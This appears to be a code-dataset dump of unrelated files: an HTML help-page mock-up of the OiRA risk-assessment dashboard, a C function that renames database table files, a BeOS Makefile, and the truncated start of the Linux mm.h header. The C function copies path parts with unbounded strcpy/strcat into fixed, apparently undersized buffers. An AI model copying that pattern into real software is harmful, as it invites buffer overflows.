href="/feedback/help-menu#menu-content"
id="help-menu"
class="iconified pat-tooltip"
data-pat-tooltip="source: ajax">Help</a>
<a
href="/index-logged-in.html"
data-pat-inject="source: #content; target: #content; history: record"
class="home pat-inject iconified icon-home pat-switch"
data-pat-switch="selector: body; remove: osc-s-on; add: osc-s-off;"
title="Startup page">Dashboard</a>
</header>
<div id="content">
<div
id="main-content"
class="variation-dashboard">
<div
id="content-pane"
class="pat-scroll-box">
<!-- <article id="screen-intro">
<header class="title-group">
<h1>
OiRA@Daimler
</h1>
<p class="byline">
OiRA - Онлайн интерактивна оценка на риска
</p>
</header>
</article> -->
<!-- <div
class="canvas-banner">
<article
class="banner-body">
<a
href="/preferences#content"
class="pat-inject image-link">
<img
alt=""
src="../../../style/mail-tunnel.jpg">
</a>
<section
class="banner-text">
<p>
Keep up to breast with the latest developments by signing up for our newsletters on your <a
href="/preferences#content"
class="pat-inject">personal preferences page</a>.
</p>
<form
action="/index-logged-in#content"
class="button-bar pat-inject">
<a
href="/preferences#content"
class="pat-inject pat-button default">Sign up</a>
<button
type="submit"
name="hide_banner"
class="pat-button">Hide this message</button>
</form>
</section>
</article>
</div> -->
<div
class="pat-toolbar"
id="dashboard-toolbar">
<div
class="toolbar-navigation-area">
<div
class="toolbar-section navigation"
id="assessments-toolbar-navigation">
<nav
class="pat-tabs pat-button-cluster"
id="homescreen-sections">
<a
href="/index-logged-in.html"
data-pat-inject="history: record; source: #application-content; target: #application-content && source: #toolbar-functions-area::element; target: #toolbar-functions-area::element"
class="current icon icon-gauge pat-inject">Home</a>
<a
href="/tools/"
data-pat-inject="history: record; source: #application-content; target: #application-content && source: #toolbar-functions-area::element; target: #toolbar-functions-area::element"
class=" pat-inject">Tools</a>
<a
href="/assessments/"
data-pat-inject="history: record; source: #application-content; target: #application-content && source: #toolbar-functions-area::element; target: #toolbar-functions-area::element"
class=" pat-inject">Assessments</a>
<a
href="/trainings/"
data-pat-inject="history: record; source: #application-content; target: #application-content && source: #toolbar-functions-area::element; target: #toolbar-functions-area::element"
class="pat-inject">Trainings</a>
<a
href="/certificates/"
data-pat-inject="history: record; source: #application-content; target: #application-content && source: #toolbar-functions-area::element; target: #toolbar-functions-area::element"
class="pat-inject">Certificates</a>
<a
href="/third-parties/"
data-pat-inject="history: record; source: #application-content; target: #application-content && source: #toolbar-functions-area::element; target: #toolbar-functions-area::element"
class="pat-inject">Contractors</a>
<a
href="/users/"
data-pat-inject="history: record; source: #application-content; target: #application-content && source: #toolbar-functions-area::element; target: #toolbar-functions-area::element"
class="pat-inject">Organisation</a>
</nav>
</div>
</div>
<form
id="toolbar-functions-area"
class="toolbar-functions-area pat-inject pat-form pat-autosubmit"
action="/index-logged-in-var-third-party.html#dashboard"
data-pat-inject="history: record">
<div
class="toolbar-section view-options"
id="assessments-toolbar-view-options">
<label
class="pat-select bare">
<select
name="dashboard-view">
<option><!-- Show internal assessments -->Default view</option>
<option ><!-- Fremdfirmen Darstellung --><!-- Show external assessments --><!-- Fremdfirmen GBUs Darstellung -->Fremdfirmenkoordination</option>
</select>
</label>
</div>
<div
class="toolbar-section quick-functions"
id="assessments-toolbar-quick-functions">
</div>
</form>
</div>
<div
id="application-content">
<div
id="dashboard"
class="row pat-masonry"
data-pat-masonry="column-width: .grid-sizer; gutter: 0; item-selector: .portlet; stamp: .stamp;">
<div
class="grid-sizer"></div>
<div
class="portlet span-2 height-full"
id="portlet-my-risk-assessments">
<div
class="content">
<article
class="portlet-intro">
<header
class="portlet-title-group">
<h2
class="portlet-title">
Risk assessments
</h2>
</header>
<form
class="portlet-tool-group pat-inject pat-autosubmit"
action="/feedback/portlet-my-ras-filtered#portlet-body-my-ras">
<div
class="pat-collapsible pat-context-menu closed align-right"
data-pat-collapsible="close-trigger: .context-menu:not(#initiators-menu),.close-menu" id="initiators-menu">
<strong
class="context-menu-label menu-trigger">Filters</strong>
<p
class="close-menu">Close</p>
<fieldset
class="pat-checklist">
<label><input type="checkbox" checked name=""> Hide archived risk assessments</label>
</fieldset>
</div>
</form>
</article>
<div
class="portlet-body"
id="portlet-body-my-ras">
<article
class="pat-rich">
<p>
Изберете предишна сесия, която да довършите или прегледате, или стартирайте нова сесия
<a
href="/new-session.html#document-content"
class="pat-modal icon-plus-circle"
data-pat-modal="class: small panel">стартирайте нова сесия</a>.
</p>
</article>
<ul
class="data-matrix hd">
<li
class="row "
>
<h4
class="name field">
<a
href="ass-private-security-grafton-street#content"
data-pat-inject="source: #content; target: #content; && source: #osc; target: #osc; history: record;"
class="pat-inject follow">Private Security, Grafton Street</a>
</h4>
<p
class="date field">
<span class="last-saved">Last saved <time class=" pat-display-time last-saved" data-pat-display-time="from-now: true" datetime="2021-06-12T08:00Z">19-07-2018</time></span>
</p>
<p
class="field icons">
<a
href="/feedback/ass-menu-compact#more-menu"
class="icon more-menu iconified icon-ellipsis pat-tooltip inactive"
data-pat-tooltip="source: ajax; position-list: tr">More</a>
</p>
</li>
<li
class="row "
>
<h4
class="name field">
<a
href="ass-commercial-guarding-leicester#content"
data-pat-inject="source: #content; target: #content; && source: #osc; target: #osc; history: record;"
class="pat-inject follow">Commercial guarding, Leicester</a>
</h4>
<p
class="date field">
<span class="last-saved">Last saved <time class=" pat-display-time last-saved" data-pat-display-time="from-now: true" datetime="2020-01-25T08:00Z">19-07-2018</time></span>
</p>
<p
class="field icons">
<a
href="/feedback/ass-menu-compact#more-menu"
class="icon more-menu iconified icon-ellipsis pat-tooltip inactive"
data-pat-tooltip="source: ajax; position-list: tr">More</a>
</p>
</li>
<li
class="row "
>
<h4
class="name field">
<a
href="ass-commercial-guarding-leicester#content"
data-pat-inject="source: #content; target: #content; && source: #osc; target: #osc; history: record;"
class="pat-inject follow">Guarding at Barcelona building</a>
</h4>
<p
class="date field">
<span class="last-saved">Last saved <time class=" pat-display-time last-saved" data-pat-display-time="from-now: true" datetime="2020-01-25T08:00Z">19-07-2018</time></span>
</p>
<p
class="field icons">
<a
href="/feedback/ass-menu-compact#more-menu"
class="icon more-menu iconified icon-ellipsis pat-tooltip inactive"
data-pat-tooltip="source: ajax; position-list: tr">More</a>
</p>
</li>
<li
class="row "
>
<h4
class="name field">
<a
href="ass-commercial-guarding-leicester#content"
data-pat-inject="source: #content; target: #content; && source: #osc; target: #osc; history: record;"
class="pat-inject follow">Commercial guarding, Madrid</a>
</h4>
<p
class="date field">
<span class="last-saved">Last saved <time class=" pat-display-time last-saved" data-pat-display-time="from-now: true" datetime="2019-06-12T08:00Z">19-07-2018</time></span>
</p>
<p
class="field icons">
<a
href="/feedback/ass-menu-compact#more-menu"
class="icon more-menu iconified icon-ellipsis pat-tooltip inactive"
data-pat-tooltip="source: ajax; position-list: tr">More</a>
</p>
</li>
<li
class="row "
>
<h4
class="name field">
<a
href="ass-commercial-guarding-leicester#content"
data-pat-inject="source: #content; target: #content; && source: #osc; target: #osc; history: record;"
class="pat-inject follow">Commercial guarding, Liverpool</a>
</h4>
<p
class="date field">
<span class="last-saved">Last saved <time class=" pat-display-time last-saved" data-pat-display-time="from-now: true" datetime="2017-01-25T08:00Z">19-07-2018</time></span>
</p>
<p
class="field icons">
<a
href="/feedback/ass-menu-compact#more-menu"
class="icon more-menu iconified icon-ellipsis pat-tooltip inactive"
data-pat-tooltip="source: ajax; position-list: tr">More</a>
</p>
</li>
</ul>
</div>
<div
class="portlet-footer">
<a
href="/assessments#content"
class="pat-inject more-link">More risk assessments…</a>
</div>
</div>
</div>
<div class="portlet span-1" id="portlet-available-tools">
<div class="content">
<article class="portlet-intro">
<header class="portlet-title-group">
<h2 class="portlet-title">
Tools
</h2>
</header>
</article>
<div class="portlet-body" id="portlet-body-portlet-available-tools">
<!-- <article class="pat-rich">
<p>
</p>
</article> -->
<form class="pat-inject"
action="/preparation.html"
data-pat-inject="history: record">
<fieldset class="vertical">
<fieldset
class="tool-list">
<fieldset
class="department">
<legend
class="department-name"></legend>
<fieldset
class="tools pat-checklist radio">
<label
class="tool">
<input
type="radio"
name="tool">
<strong
class="field name">EU Cleaning</strong>
</label>
<label
class="tool">
<input
type="radio"
name="tool">
<strong
class="field name">EU Hairdressing</strong>
</label>
<label
class="tool">
<input
type="radio"
name="tool">
<strong
class="field name">EU Live Performance - Productions</strong>
</label>
<label
class="tool">
<input
type="radio"
name="tool">
<strong
class="field name">Leather and Tanning</strong>
</label>
<label
class="tool">
<input
type="radio"
name="tool">
<strong
class="field name">Maritime Transport</strong>
</label>
<label
class="tool">
<input
type="radio"
name="tool">
<strong
class="field name">Private Security</strong>
</label>
</fieldset>
</fieldset>
</fieldset>
</fieldset>
<p class="button-bar">
<button type="submit" class="small pat-button pat-depends" data-pat-depends="condition: tool; action: enable">Начало на сесия</button>
</p>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<aside id="osc">
<form id="osc-header" action="/index-logged-in#browser" class="pat-inject pat-autosubmit">
<!-- The back button and current group title is shown in browsing mode within a group. -->
<a href="/index#osc"
data-pat-inject="source: #osc-header; target: #osc-header && source: #miller-columns; target: #miller-columns"
class="back-button pat-inject">Back</a>
<h2 class="column-title">
index-logged-in.html
</h2>
<!-- <a href="/new-session.html#document-content" id="button-new-session-quick" data-pat-modal="class: large" class="no-label pat-modal iconified icon-plus" title="Start a new assessment">New</a> -->
<div
class="pat-collapsible pat-context-menu closed align-right"
data-pat-collapsible="close-trigger: *:not(#more-menu)"
id="more-menu">
<strong
class="context-menu-label iconified more-menu-trigger"></strong>
<ul
class="menu">
<li>
<a
href="/new-session.html#document-content"
data-pat-modal="class: medium panel"
class="no-label pat-modal icon-plus pat-switch"
data-pat-switch="body osc-s-* osc-s-off"
title=""></a>
</li>
<li>
<label class="pat-checklist"><input type="checkbox" name="archived" /> </label>
</li>
<li>
<fieldset class="pat-checklist radio">
<label><input type="radio" value="all" name="ass-type" checked /> </label>
<label><input type="radio" value="regular" name="ass-type" /> </label>
<label><input type="radio" value="contractor" name="ass-type" /> </label>
</fieldset>
</li>
</ul>
</div>
<button id="button-osc-expand" class="no-label iconified icon-resize-full pat-toggle" data-pat-toggle="selector: body; value: osc-size-full osc-size-normal" title=""></button>
</form>
<a href="/feedback/osh.html#osh-ra-browser" id="osh-target-ra-browser" class="onscreen-help pat-tooltip" data-pat-tooltip="trigger: click; source: ajax; class: rich info;">Help</a>
<div id="navigation">
<div id="miller-columns" class="miller-columns">
<form class="search-form pat-inject view-compact"
id="search-form"
action="/feedback/search-results.html#browser"
>
<fieldset class="search-box-body">
<label class="search-field pat-subform pat-inject pat-autosubmit"
data-pat-inject="source: #browser; target: #browser; && source: #osc-header; target: #osc-header">
<input
type="search"
value=""
class="quick-search pat-autofocus"
placeholder="" />
<button type="submit" name="standard" value="main" class="search-button-main assistive">Търсене</button>
</label>
<fieldset class="advanced-search pat-inject pat-subform"
data-pat-inject="source: #browser; target: #browser; && source: #osc-header; target: #osc-header">
<fieldset class="advanced pat-clone" data-pat-clone="trigger-element: .add-clone-rule; remove-behaviour: none; template: #clone-template">
<input type="hidden" name="search-rule.and-or:records" value="" />
<p class="clone search-rule row-1">
<label class="pat-select field-choice pat-select">
<select name="search-rule.data-field:records">
<option value="SearchableText"></option>
<optgroup label="Metadata">
<option value="Title">Title</option>
<option value="Description">Description</option>
<option value="content">Body text</option>
<option value="author">Author</option>
<option value="plant">Plant</option>
<option value="department">Department</option>
<option value="contractor">Contractor</option>
<option value="operator_id">Operator at Daimler</option>
<option value="created">Creation date</option>
<option value="effective">Publication date</option>
<option value="modified">Modification date</option>
<option value="start_date">Start date (external company)</option>
<option value="end_date">End date (external company)</option>
</optgroup>
</select>
</label>
<span class="parameters lemma">
<label class="pat-select">
<select name="search-rule.lemma-operator:records">
<option value="contains"></option>
<option value="contains-not"></option>
<option value="equals"></option>
</select>
</label>
<input type="text" name="search-rule.lemma-value:records" placeholder="Lemma" class="lemma-field" />
</span>
<span class="parameters date">
<label class="pat-select">
<select name="search-rule.date-operator:records">
<option value="is"></option>
<option value="is-before"></option>
<option value="is-after"></option>
</select>
</label>
<input type="date" name="search-rule.date-value:records" placeholder="Date" class="date-field pat-date-picker" />
</span>
<span class="parameters plant">
<label class="pat-select">
<select name="search-rule.date-operator:records">
<option value="equals"></option>
<option value="equals-not"></option>
</select>
</label>
<select name="search-rule.plant-value:records" placeholder="Plant code" class="pat-autosuggest lemma-field">
<option>001</option>
<option>002</option>
<option>003</option>
<option>004</option>
<option>005</option>
</select>
</span>
<span class="parameters department">
<label class="pat-select">
<select name="search-rule.date-operator:records">
<option value="equals"></option>
<option value="equals-not"></option>
</select>
</label>
<select name="search-rule.department-value:records" placeholder="Department name" class="pat-autosuggest lemma-field">
<option>103, (GEPJW5W4P)</option>
<option>104, (GEPJNROAL)</option>
<option>105, (GEPJS5CBN)</option>
<option>106, (GEPJS9JKO)</option>
<option>107, (GEPJW92WQ)</option>
<option>109, Milan K (H7N36URGR)</option>
<option>111, (GEPJNV12M)</option>
<option>140, (GEPL71JKV)</option>
<option>141, (JGHN3Y100)</option>
<option>142, (GEPL74BAW)</option>
</select>
</span>
</p>
</fieldset>
<p class="button-bar">
<button type="submit" class="pat-button icon-search small">Търсене</button>
<button type="button" class="pat-button add-clone add-clone-rule icon-plus-circle small"></button>
</p>
<template id="clone-template">
<p class="clone search-rule animated fadeIn">
<label class="and-or pat-select bare">
<select name="search-rule.and-or:records">
<option value="and">
</option>
<option value="or">
</option>
</select>
</label>
<label class="field-choice pat-select">
<select name="search-rule.data-field:records">
<option value="SearchableText"></option>
<optgroup label="Metadata">
<option value="Title">Title</option>
<option value="Description">Description</option>
<option value="content">Body text</option>
<option value="author">Author</option>
<option value="plant">Plant (code)</option>
<option value="department">Department</option>
<option value="contractor">Contractor</option>
<option value="created">Creation date</option>
<option value="effective">Publication date</option>
<option value="modified">Modification date</option>
</optgroup>
</select>
</label>
<span class="parameters lemma">
<label class="pat-select">
<select name="search-rule.lemma-operator:records">
<option value="contains"></option>
<option value="contains-not"></option>
<option value="equals"></option>
</select>
</label>
<input type="text" name="search-rule.lemma-value:records" placeholder="Lemma" class="lemma-field" />
</span>
<span class="parameters date">
<label class="pat-select">
<select name="search-rule.date-operator:records">
<option value="is"></option>
<option value="is-before"></option>
<option value="is-after"></option>
</select>
</label>
<input type="date" name="search-rule.date-value:records" placeholder="Date" class="date-field pat-date-picker" />
</span>
<span class="parameters plant">
<label class="pat-select">
<select name="search-rule.date-operator:records">
<option value="equals"></option>
<option value="equals-not"></option>
</select>
</label>
<select name="search-rule.plant-value:records" placeholder="Plant code" class="pat-autosuggest">
<option>001</option>
<option>002</option>
<option>003</option>
<option>004</option>
<option>005</option>
</select>
</span>
<span class="parameters department">
<label class="pat-select">
<select name="search-rule.date-operator:records">
<option value="equals"></option>
<option value="equals-not"></option>
</select>
</label>
<select name="search-rule.department-value:records" placeholder="Department name" class="pat-autosuggest">
<option>103, (GEPJW5W4P)</option>
<option>104, (GEPJNROAL)</option>
<option>105, (GEPJS5CBN)</option>
<option>106, (GEPJS9JKO)</option>
<option>107, (GEPJW92WQ)</option>
<option>109, Milan K (H7N36URGR)</option>
<option>111, (GEPJNV12M)</option>
<option>140, (GEPL71JKV)</option>
<option>141, (JGHN3Y100)</option>
<option>142, (GEPL74BAW)</option>
</select>
</span>
<button type="button" class="remove-clone">Премахване</button>
</p>
</template>
<fieldset class="toggle-bar pat-checklist free-form">
<label class="pat-switch toggle-standard" data-pat-switch="#search-form view-extended view-compact">
<input type="radio" name="search-mode" value="standard" checked>
</label>
<label class="pat-switch toggle-advanced"
data-pat-switch="#search-form view-compact view-extended && body osc-size-* osc-size-full">
<input type="radio" name="search-mode" value="advanced">
</label>
</fieldset>
</fieldset>
</fieldset>
</form>
<div id="browser">
<ul class="departments browser" id="results">
<li class="item type-risk-assessment">
<span class="object-name field">
<a class="session-name pat-inject pat-switch" href="/preparation" data-pat-switch="selector: body; remove: focus-*; add: focus-document && selector: body; remove: osc-s-*; add: osc-s-off; store: local && selector: body; remove: osc-size-*; add: osc-size-normal" data-pat-inject="source: #content; target: #content; history:record ">Splash and Shine Cleaners</a>
</span>
<span class="last-saved meta field">Last saved <time class="pat-display-time" datetime="2020-10-30T08:00Z" data-pat-display-time="from-now: true; locale: en">19 days ago</time></span>
<span class="field"></span>
<span class="tool meta field">based on <a class="pat-inject pat-switch" data-pat-switch="selector: body; remove: focus-*; add: focus-document && selector: body; remove: osc-s-*; add: osc-s-off; store: local &&selector: body; remove: osc-size-*; add: osc-size-normal" data-pat-inject="history: record" href="/index-specific-tool.html" title="EU Cleaning">EU Cleaning</a></span>
<a href="/preparation.html#ra-more-menu" class="more-menu iconified icon-ellipsis pat-tooltip inactive" data-pat-tooltip="source: ajax; position-list: tl">More</a>
</li>
<li class="item type-risk-assessment">
<span class="object-name field">
<a class="session-name pat-inject pat-switch" href="/preparation" data-pat-switch="selector: body; remove: focus-*; add: focus-document && selector: body; remove: osc-s-*; add: osc-s-off; store: local && selector: body; remove: osc-size-*; add: osc-size-normal" data-pat-inject="source: #content; target: #content; history:record ">Commercial Guardinng, Leicester</a>
</span>
<span class="last-saved meta field">Last saved <time class="pat-display-time" datetime="2020-09-16 16:50:38.739224+02:00" data-pat-display-time="from-now: true; locale: en">2 months ago</time></span>
<span class="field"></span>
<span class="tool meta field">based on <a class="pat-inject pat-switch" data-pat-switch="selector: body; remove: focus-*; add: focus-document && selector: body; remove: osc-s-*; add: osc-s-off; store: local &&selector: body; remove: osc-size-*; add: osc-size-normal" data-pat-inject="history: record" href="/index-specific-tool.html" title="Private Security EU">Private Security EU</a></span>
<a href="/preparation.html#ra-more-menu" class="more-menu iconified icon-ellipsis pat-tooltip inactive" data-pat-tooltip="source: ajax; position-list: tl">More</a>
</li>
<li class="item type-risk-assessment">
<span class="object-name field">
<a class="session-name pat-inject pat-switch" href="/preparation" data-pat-switch="selector: body; remove: focus-*; add: focus-document && selector: body; remove: osc-s-*; add: osc-s-off; store: local && selector: body; remove: osc-size-*; add: osc-size-normal" data-pat-inject="source: #content; target: #content; history:record ">Private Security, Grafton Street</a>
</span>
<span class="last-saved meta field">Last saved <time class="pat-display-time" datetime="2020-07-16 16:50:38.739224+02:00" data-pat-display-time="from-now: true; locale: en">2 months ago</time></span>
<span class="field"></span>
<span class="tool meta field">based on <a class="pat-inject pat-switch" data-pat-switch="selector: body; remove: focus-*; add: focus-document && selector: body; remove: osc-s-*; add: osc-s-off; store: local &&selector: body; remove: osc-size-*; add: osc-size-normal" data-pat-inject="history: record" href="/index-specific-tool.html" title="Private Security EU">Private Security EU</a></span>
<a href="/preparation.html#ra-more-menu" class="more-menu iconified icon-ellipsis pat-tooltip inactive" data-pat-tooltip="source: ajax; position-list: tl">More</a>
</li>
<li class="item type-risk-assessment">
<span class="object-name field">
<a class="session-name pat-inject pat-switch" href="/preparation" data-pat-switch="selector: body; remove: focus-*; add: focus-document && selector: body; remove: osc-s-*; add: osc-s-off; store: local && selector: body; remove: osc-size-*; add: osc-size-normal" data-pat-inject="source: #content; target: #content; history:record ">Office operations in times of COVID-19</a>
</span>
<span class="last-saved meta field">Last saved <time class="pat-display-time" datetime="2020-05-03 10:31:33.134598+02:00" data-pat-display-time="from-now: true; locale: en">4 months ago</time></span>
<span class="field"></span>
<span class="tool meta field">based on <a class="pat-inject pat-switch" data-pat-switch="selector: body; remove: focus-*; add: focus-document && selector: body; remove: osc-s-*; add: osc-s-off; store: local &&selector: body; remove: osc-size-*; add: osc-size-normal" data-pat-inject="history: record" href="/index-specific-tool.html" title="COVID-19">COVID-19</a></span>
<a href="/preparation.html#ra-more-menu" class="more-menu iconified icon-ellipsis pat-tooltip inactive" data-pat-tooltip="source: ajax; position-list: tl">More</a>
</li>
</ul>
</div>
</div>
</div>
</aside>
<!-- <div
class="pat-modal medium panel panel-browser-warning">
<h1>
Browser warning
</h1>
<div
class="panel-body"
id="modal-panel-body">
<div
class="container">
<div
class="browser-warning">
<div
class="pat-rich">
<p
class="message with-js">
You are using an outdated web browser. As a result, the site might not function as expected. Please install a newer browser in order to make optimal use of this site.
</p>
<p
class="message without-js">
You are using an outdated web browser. Because of this you won't have an optimal experience. Please install a newer browser in order to make optimal use of this site.
</p>
</div>
<nav
class="browser-options">
<a
class="icon-edge"
href="https://www.microsoft.com/nl-nl/edge">Microsoft Edge</a>
<a
class="icon-chrome"
href="https://www.google.nl/chrome/">Google Chrome</a>
<a
class="icon-firefox"
href="https://www.mozilla.org/nl/firefox/new/">Mozilla Firefox</a>
</nav>
</div>
<div
class="button-bar">
<button
class="pat-button close-panel">Close this message</button>
</div>
</div>
</div>
</div> -->
</body>
</html>
<script>window.__patternslib_public_path__ = "/++resource++euphorie.resources/oira/script/";</script>
<script src="/++resource++euphorie.resources/oira/script/polyfills-loader.js" type="text/javascript"></script>
|
euphorie/Euphorie
|
src/euphorie/client/resources/oira/help/bg/illustrations/index-logged-in.html
|
HTML
|
gpl-2.0
| 39,886
|
/*
** renametbl.c for epiDatabase in /epiEngine
**
** Made by Julien Assémat
** Login assema_j
**
** Started on 01/01/2005 assema_j
** Last update 24/02/2005 moular_t
*/
#include "renametbl.h"
void renametbl(struct s_sql_query *query, struct s_sql_result *result)
{
p_lident lident;
char filename_src[S_TABLE+strlen(EXTENSION_TABLE)-1];
char filename_data_src[S_TABLE+strlen(EXTENSION_DATA)-1];
char filename_dest[S_TABLE+strlen(EXTENSION_TABLE)-1];
char filename_data_dest[S_TABLE+strlen(EXTENSION_DATA)-1];
printf("\t Rename table to %s\n",getFirstTblName(query));
lident=query->identlist;
if(lident)
while(lident->next)
{
*filename_src = 0;
*filename_data_src = 0;
strcpy(filename_src, PATH_DATA);
strcat(filename_src, lident->db_name);
strcat(filename_src, "\\");
strcat(filename_src, lident->tbl_name);
strcpy(filename_data_src, filename_src);
strcat(filename_src, EXTENSION_TABLE);
strcat(filename_data_src, EXTENSION_DATA);
lident=lident->next;
*filename_dest = 0;
*filename_data_dest = 0;
strcpy(filename_dest, PATH_DATA);
strcat(filename_dest, lident->db_name);
strcat(filename_dest, "\\");
strcat(filename_dest, lident->tbl_name);
strcpy(filename_data_dest, filename_dest);
strcat(filename_dest, EXTENSION_TABLE);
strcat(filename_data_dest, EXTENSION_DATA);
rename(filename_src,filename_dest);
rename(filename_data_src,filename_data_dest);
if(lident->next) lident=lident->next;
}
result->error_code = MSG_OK;
}
|
thomas-moulard/epidatabase-engine
|
epiEngine/renametbl.c
|
C
|
gpl-2.0
| 1,820
|
include ../../../Makefile.in.$(shell uname)
PROGNAME=image_fltr_graph
OUTNAME=$(PROGNAME)
PLATFORM=BeOS
CXXFLAGS= $(AGGCXXFLAGS) -I../../../include \
-L../../../src \
$(PIXFMT)
LIBS = $(AGGLIBS) -lroot -lbe -ltranslation
SRC=\
../../$(PROGNAME).cpp \
../../../src/platform/$(PLATFORM)/agg_platform_support.cpp
OBJ= $(SRC:.cpp=.o)
$(PROGNAME): $(OBJ)
$(CXX) $(CXXFLAGS) $^ -o $(OUTNAME) $(LIBS)
mimeset -f $(OUTNAME)
clean:
rm -f $(PROGNAME)
rm -f ../../$(PROGNAME).o
rm -f ../../../src/platform/$(PLATFORM)/agg_platform_support.o
%.o: %.cpp
@echo \< $*.cpp \>
$(CXX) -c $(CXXFLAGS) $*.cpp -o $@
|
sofian/drone
|
lib/agg23/examples/BeOS/image_fltr_graph/Makefile
|
Makefile
|
gpl-2.0
| 611
|
#ifndef _LINUX_MM_H
#define _LINUX_MM_H
#include <linux/errno.h>
#ifdef __KERNEL__
#include <linux/gfp.h>
#include <linux/bug.h>
#include <linux/list.h>
#include <linux/mmzone.h>
#include <linux/rbtree.h>
#include <linux/prio_tree.h>
#include <linux/atomic.h>
#include <linux/debug_locks.h>
#include <linux/mm_types.h>
#include <linux/range.h>
#include <linux/pfn.h>
#include <linux/bit_spinlock.h>
#include <linux/shrinker.h>
struct mempolicy;
struct anon_vma;
struct file_ra_state;
struct user_struct;
struct writeback_control;
#ifndef CONFIG_DISCONTIGMEM /* Don't use mapnrs, do it properly */
extern unsigned long max_mapnr;
#endif
extern unsigned long num_physpages;
extern unsigned long totalram_pages;
#ifdef CONFIG_FIX_MOVABLE_ZONE
extern unsigned long total_unmovable_pages;
#endif
extern void * high_memory;
extern int page_cluster;
#ifdef CONFIG_SYSCTL
extern int sysctl_legacy_va_layout;
#else
#define sysctl_legacy_va_layout 0
#endif
#ifdef CONFIG_HAVE_ARCH_MMAP_RND_BITS
extern const int mmap_rnd_bits_min;
extern const int mmap_rnd_bits_max;
extern int mmap_rnd_bits __read_mostly;
#endif
#ifdef CONFIG_HAVE_ARCH_MMAP_RND_COMPAT_BITS
extern const int mmap_rnd_compat_bits_min;
extern const int mmap_rnd_compat_bits_max;
extern int mmap_rnd_compat_bits __read_mostly;
#endif
#include <asm/page.h>
#include <asm/pgtable.h>
#include <asm/processor.h>
#define nth_page(page,n) pfn_to_page(page_to_pfn((page)) + (n))
/* to align the pointer to the (next) page boundary */
#define PAGE_ALIGN(addr) ALIGN(addr, PAGE_SIZE)
/*
* Linux kernel virtual memory manager primitives.
* The idea being to have a "virtual" mm in the same way
* we have a virtual fs - giving a cleaner interface to the
* mm details, and allowing different kinds of memory mappings
* (from shared memory to executable loading to arbitrary
* mmap() functions).
*/
extern struct kmem_cache *vm_area_cachep;
#ifndef CONFIG_MMU
extern struct rb_root nommu_region_tree;
extern struct rw_semaphore nommu_region_sem;
extern unsigned int kobjsize(const void *objp);
#endif
/*
* vm_flags in vm_area_struct, see mm_types.h.
*/
#define VM_READ 0x00000001 /* currently active flags */
#define VM_WRITE 0x00000002
#define VM_EXEC 0x00000004
#define VM_SHARED 0x00000008
/* mprotect() hardcodes VM_MAYREAD >> 4 == VM_READ, and so for r/w/x bits. */
#define VM_MAYREAD 0x00000010 /* limits for mprotect() etc */
#define VM_MAYWRITE 0x00000020
#define VM_MAYEXEC 0x00000040
#define VM_MAYSHARE 0x00000080
#define VM_GROWSDOWN 0x00000100 /* general info on the segment */
#if defined(CONFIG_STACK_GROWSUP) || defined(CONFIG_IA64)
#define VM_GROWSUP 0x00000200
#else
#define VM_GROWSUP 0x00000000
#define VM_NOHUGEPAGE 0x00000200 /* MADV_NOHUGEPAGE marked this vma */
#endif
#define VM_PFNMAP 0x00000400 /* Page-ranges managed without "struct page", just pure PFN */
#define VM_DENYWRITE 0x00000800 /* ETXTBSY on write attempts.. */
#define VM_EXECUTABLE 0x00001000
#define VM_LOCKED 0x00002000
#define VM_IO 0x00004000 /* Memory mapped I/O or similar */
/* Used by sys_madvise() */
#define VM_SEQ_READ 0x00008000 /* App will access data sequentially */
#define VM_RAND_READ 0x00010000 /* App will not benefit from clustered reads */
#define VM_DONTCOPY 0x00020000 /* Do not copy this vma on fork */
#define VM_DONTEXPAND 0x00040000 /* Cannot expand with mremap() */
#define VM_RESERVED 0x00080000 /* Count as reserved_vm like IO */
#define VM_ACCOUNT 0x00100000 /* Is a VM accounted object */
#define VM_NORESERVE 0x00200000 /* should the VM suppress accounting */
#define VM_HUGETLB 0x00400000 /* Huge TLB Page VM */
#define VM_NONLINEAR 0x00800000 /* Is non-linear (remap_file_pages) */
#ifndef CONFIG_TRANSPARENT_HUGEPAGE
#define VM_MAPPED_COPY 0x01000000 /* T if mapped copy of data (nommu mmap) */
#else
#define VM_HUGEPAGE 0x01000000 /* MADV_HUGEPAGE marked this vma */
#endif
#define VM_INSERTPAGE 0x02000000 /* The vma has had "vm_insert_page()" done on it */
#define VM_NODUMP 0x04000000 /* Do not include in the core dump */
#define VM_CAN_NONLINEAR 0x08000000 /* Has ->fault & does nonlinear pages */
#define VM_MIXEDMAP 0x10000000 /* Can contain "struct page" and pure PFN pages */
#define VM_SAO 0x20000000 /* Strong Access Ordering (powerpc) */
#define VM_PFN_AT_MMAP 0x40000000 /* PFNMAP vma that is fully mapped at mmap time */
#define VM_MERGEABLE 0x80000000 /* KSM may merge identical pages */
/* Bits set in the VMA until the stack is in its final location */
#define VM_STACK_INCOMPLETE_SETUP (VM_RAND_READ | VM_SEQ_READ)
#ifndef VM_STACK_DEFAULT_FLAGS /* arch can override this */
#define VM_STACK_DEFAULT_FLAGS VM_DATA_DEFAULT_FLAGS
#endif
#ifdef CONFIG_STACK_GROWSUP
#define VM_STACK_FLAGS (VM_GROWSUP | VM_STACK_DEFAULT_FLAGS | VM_ACCOUNT)
#else
#define VM_STACK_FLAGS (VM_GROWSDOWN | VM_STACK_DEFAULT_FLAGS | VM_ACCOUNT)
#endif
#define VM_READHINTMASK (VM_SEQ_READ | VM_RAND_READ)
#define VM_ClearReadHint(v) (v)->vm_flags &= ~VM_READHINTMASK
#define VM_NormalReadHint(v) (!((v)->vm_flags & VM_READHINTMASK))
#define VM_SequentialReadHint(v) ((v)->vm_flags & VM_SEQ_READ)
#define VM_RandomReadHint(v) ((v)->vm_flags & VM_RAND_READ)
/*
* Special vmas that are non-mergable, non-mlock()able.
* Note: mm/huge_memory.c VM_NO_THP depends on this definition.
*/
#define VM_SPECIAL (VM_IO | VM_DONTEXPAND | VM_RESERVED | VM_PFNMAP)
/*
* mapping from the currently active vm_flags protection bits (the
* low four bits) to a page protection mask..
*/
extern pgprot_t protection_map[16];
#define FAULT_FLAG_WRITE 0x01 /* Fault was a write access */
#define FAULT_FLAG_NONLINEAR 0x02 /* Fault was via a nonlinear mapping */
#define FAULT_FLAG_MKWRITE 0x04 /* Fault was mkwrite of existing pte */
#define FAULT_FLAG_ALLOW_RETRY 0x08 /* Retry fault if blocking */
#define FAULT_FLAG_RETRY_NOWAIT 0x10 /* Don't drop mmap_sem and wait when retrying */
#define FAULT_FLAG_KILLABLE 0x20 /* The fault task is in SIGKILL killable region */
/*
